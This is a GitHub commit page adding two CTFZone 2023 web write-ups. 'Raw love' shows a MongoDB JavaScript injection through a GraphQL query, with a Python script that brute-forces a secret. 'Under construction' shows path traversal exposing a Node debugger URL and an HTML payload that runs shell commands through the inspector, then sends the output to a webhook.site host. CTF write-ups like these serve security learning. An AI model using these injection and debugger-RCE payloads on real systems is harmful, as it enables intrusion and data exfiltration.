Skip to content

Commit

Permalink
CTFZone 2023 web/raw love and web/under construction writeups (#2)
Browse files Browse the repository at this point in the history
* ctfzone-23 Bounty-the-b4r

* Fixed typos

* Added raw love and under construction writeups

---------

Co-authored-by: Arsenii es3n1n <[email protected]>
Co-authored-by: jackson4800 <[email protected]>
  • Loading branch information
3 people authored Aug 15, 2023
1 parent d915222 commit 9f66391
Show file tree
Hide file tree
Showing 3 changed files with 263 additions and 5 deletions.
10 changes: 5 additions & 5 deletions ctfzone23-web-bounty.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ BB stands for Bounty the B4r. Our highly skilled specialists developed the best
Here's the most important code of our challenge.

`golang/db/database.go`
```golang
```go
func (db Database) InitFlagReport(flag string) error {
...
program := BBProgram{
Expand All @@ -39,7 +39,7 @@ func (db Database) InitFlagReport(flag string) error {
```

`golang/controller/program.go`
```golang
```go
func (s *server) PostProgramPUuidJoin(w http.ResponseWriter, r *http.Request, pUuid uuid.UUID) {
...
if bbProgram.Type == ProgramTypePrivate && user.Reputation < 100000 {
Expand All @@ -51,7 +51,7 @@ func (s *server) PostProgramPUuidJoin(w http.ResponseWriter, r *http.Request, pU
```

`golang/controller/report.go`
```golang
```go
func (s *server) GetReportRUuid(w http.ResponseWriter, r *http.Request, rUuid uuid.UUID, params api.GetReportRUuidParams) {
...
if bbProgram.Type == ProgramTypePrivate {
Expand Down Expand Up @@ -158,7 +158,7 @@ Now we can join `CTFZone Private Program` program without problems. Our new task
```
So, we need to iterate over the v1 uuid between `ad1cec14-3830-11ee-b365-0255ac100030` and `ad1d822a-3830-11ee-b365-0255ac100030`, but checking each id is not possible due to proof of work. Let's check how uuids are created.
```golang
```go
// A Time represents a time as the number of 100's of nanoseconds since 15 Oct 1582.
timeLow := uint32(now & 0xffffffff)
```
Expand All @@ -168,7 +168,7 @@ Since we know the report creation time in nanoseconds, we can easily reduce the
Corresponding uuid v1: `ad1cec14-3830-11ee-b365-0255ac100030`. Now we are ready to get the flag.
#### Solver code
```python
```py
import hashlib
import requests
import json
Expand Down
176 changes: 176 additions & 0 deletions ctfzone23-web-raw-love.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,176 @@
---
title: "ctfzone23 web/Raw love"
publishDate: "13 Aug 2023"
description: "Author: cpp.dog"
tags: ["web", "ctfzone23"]
---

#### Description
Very soon we will update the functionality, we are already working on its security, so that no one would steal my secret. In the meantime, come have fun!

\- Admin

#### Code inspection

Here's the most important code of our challenge.

`/static/js/FillForm.jsx`
```js
const response = await axios.post('/api', {
query: `
mutation ($description: String, $contact: String) {
fill_form(description: $description, contact: $contact) {
status
}
}
`,
variables: { description, contact }
},{
headers: {
Authorization: `Bearer ${token}`
},
});
```

Since we have found GraphQL endpoint, let's take a look at its schema.

```bash
curl -X POST -d '{
"query": "{__schema{types{name,fields{name}}}}"
}' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [REDACTED]" \
https://raw-love.ctfz.one/api/
```

```json
{
"name": "Query",
"fields": [
{
"name": "profile"
},
{
"name": "filterprofile"
},
{
"name": "like"
},
{
"name": "myprofile"
}
]
}
```

What is `filterprofile` query? It is not used inside sources. Let's get its arguments.

```bash
curl -X POST -d '{
"query": "fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}"
}' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [REDACTED]" \
https://raw-love.ctfz.one/api/
```

```json
{
"name": "filterprofile",
"description": null,
"args": [
{
"name": "description",
"description": null,
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"defaultValue": null
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "Profile",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
}
```

Let's test this request with the `description` argument equal to the administrator's description.

```bash
curl -X POST -d '{"query":"query { filterprofile(description:\"Administrator\") { username } }"}' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer [REDACTED]" \
https://raw-love.ctfz.one/api/
```

```json
{
"data": {
"filterprofile": [
{
"user": "Admin"
}
]
}
}
```

So it returns users by their description. Let's try passing the character `'`.

```json
{
"data": {
"filterprofile": null
}
}
```

We found the injection! The server appears to be using MongoDB, so we need a payload that looks something like this:
```js
;return (this.secret.substr(0, 8) == 'ctfzone{'; var _ = '
```
#### Solver code
```py
import requests
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
flag ="ctfzone{"
while True:
for char in charset:
temp_flag = flag + char
print(f'trying {temp_flag}')
data = requests.post("https://raw-love.ctfz.one/api/", json={
"query": """
query {
filterprofile(description:\"%s\") {
username
description
contact
id
photo
}
}
""" % f"Administrator'; return (this.secret.substr(0, {len(temp_flag)}) == '{temp_flag}'); var abcds='1"
}, headers={
"Authorization": "Bearer [REDACTED]",
"Content-Type": "application/json",
})
if '"username":"Admin",' in data.text:
flag = flag + char
print(flag)
```
#### Flag
`ctfzone{rM7_E_EFBBxkkli4Tk9a}`
82 changes: 82 additions & 0 deletions ctfzone23-web-under-construction.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
---
title: "ctfzone23 web/Under construction"
publishDate: "13 Aug 2023"
description: "Author: cpp.dog"
tags: ["web", "ctfzone23"]
---

#### Description
We started the development of a new task but havent completed it yet.

The debug version works on the site. We believe there is no way to get the flag now, but you can try!

#### Code inspection

Here's the most important code of our challenge.

`Dockerfile`
```Docker
RUN echo "ctfzone{REDACTED}" > /root/flag.txt
RUN echo "ubuntu ALL = (root) NOPASSWD: /bin/cat /root/flag.txt" >> /etc/sudoers
...
CMD ["bash","-c","node --inspect app.js 1>app-logs.out 2>app-logs.err"]
```

So we can't read `/root/flag.txt` without running `sudo cat`, also the output of `node --inspect` is written to `app-logs.err`. Let's try to access it.

```bash
curl --path-as-is http://web-under-construction-ins1.ctfz.one/../app-logs.err

Debugger listening on ws://127.0.0.1:9229/0937204c-d978-4306-87db-a0915561d563
For help, see: https://nodejs.org/en/docs/inspector
```

That's good, we can access the devtools endpoint to execute any code we want, including bash commands.

```bash
curl 'http://web-under-construction-ins1.ctfz.one/browser?url=https://cpp.dog/static/ctf.html'
```

#### XSS code
```html
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
window.ws = new WebSocket('ws://127.0.0.1:9229/0937204c-d978-4306-87db-a0915561d563')
ws.onerror = (e) => {
fetch("https://webhook.site/[REDACTED]?e=" + btoa(e.toString()))
}
ws.onmessage = (e) => {
fetch("https://webhook.site/[REDACTED]?e=" + btoa(e.data))
}
ws.onopen = () => {
ws.send(JSON.stringify(
{
id: 1,
// Eval js code
method: "Runtime.evaluate",
params: {
// This is important for require()
includeCommandLineAPI: true,
expression: `
(function(){
cp = require("child_process");
result = cp.execSync("sudo /bin/cat /root/flag.txt" );
return new TextDecoder().decode(result);
})();`
}
}
))
}
</script>
</body>
</html>
```

#### Flag
`ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}`

0 comments on commit 9f66391

Please sign in to comment.